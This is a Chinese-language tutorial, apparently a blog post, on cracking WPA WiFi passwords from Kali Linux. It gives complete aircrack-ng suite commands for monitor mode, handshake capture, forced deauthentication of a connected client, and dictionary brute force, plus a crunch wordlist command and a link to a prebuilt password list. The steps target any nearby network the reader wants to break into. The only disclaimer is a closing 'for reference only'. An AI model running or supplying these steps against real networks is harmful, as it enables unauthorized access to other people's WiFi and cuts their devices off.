实验环境
VMware虚拟机
kali linux系统
准备材料
支持监听的无线网卡
弱口令字典
注意：如果没有字典可以在https://weakpass.com/generate此网站生成弱口令字典
或者在kali上生成字典，命令为：
crunch 8 8 12345678 -o /root/crunch.txt
参数介绍：
使用crunch工具生成一个最小长度为8，最大长度为8的密码字典文件，生成内容为12345678，-o是保存到/root/crunch.txt文件
这里是我生成好的密码字典
链接：https://pan.baidu.com/s/1ZnNAWbN_OXVAL34_LHhX1w
提取码：7uca
下面进入正题
一、查看网卡信息
ifconfig 查看网卡名称
有的网卡可能是wlan0，那么后面就用wlan0就行
二、激活网卡
ifconfig wlan0mon up 激活网卡
命令执行完后，没有什么提示，代表网卡激活成功
三、结束干扰进程
airmon-ng check kill 结束干扰进程
执行完命令后没有显示什么，就可以继续进行下一步操作，如果有显示的话也继续进行下一步操作不影响继续
四、开启网卡监听状态
airmon-ng start wlan0mon
此时我们下面的操作都需要用这个网卡名称来执行命令
五、开始进行监听
airodump-ng wlan0mon 开始监听
开启监听后，网卡将会自动扫描附近的WiFi，如果在扫描过程中看到自己想破解的WiFi后，按住Ctrl+c键，停止扫描
参数介绍：
BSSID：表示无线AP的Mac地址
PWR：网卡报告的信号水平
CH：信道号
MB：无线AP所支持的最大速率
ESSID：局域网名称
STATION：客户端的Mac地址，包括连上的和想要搜索无线来连接的客户端
Rate：表示传输率
六、抓取握手包
airodump-ng -w kali -c 13 --bssid 66:75:95:5E:6F:F9 wlan0mon
-w kali：是创建握手包名称
-c 13：是CH信道号
--bssid 66:75:95:5E:6F:F9：想要破解的WiFi Mac地址
wlan0mon：网卡名称
kali-01.cap：这个代表我们抓到的握手包名称，大部分都在/root/目录下，最后一步时需要
当出现WPA handshake:66:75:95:5E:6F:F9此符号时，代表我们已经抓包成功了，也有可能没有此符号，但是不要担心，进行下一步操作即可
七、让连接WiFi的用户断开连接，进行抓取握手包
当用户再次连接WiFi时，就可以抓取到握手包了，注意：原终端不要关闭，再次开启一个终端，为了查看有没有出现第六步的符号，如果出现说明握手包抓取成功，抓到握手包后继续进行下部操作
aireplay-ng -0 10 -a 66:75:95:5E:6F:F9 -c B6:96:8B:39:A6:E5 wlan0mon
参数介绍：
-0：攻击次数
-a：BSSID
-c：STATON连接的设备
此时我们已经抓包成功，进行密码暴力破解
八、用字典暴力破解WiFi密码握手包
aircrack-ng -w /root/crunch.txt -b 66:75:95:5E:6F:F9 /root/kali-01.cap
这里需要写字典和握手包的绝对路径
-w：是字典的路径
-b：BSSID
/root/kali-01.cap：是握手包的路径
注意：字典越大暴力破解速度越慢，如果以上操作都正确，还没有密码出现代表字典里面没有WiFi的正确密码，需要更换字典
到这里就结束了，以上内容仅用于参考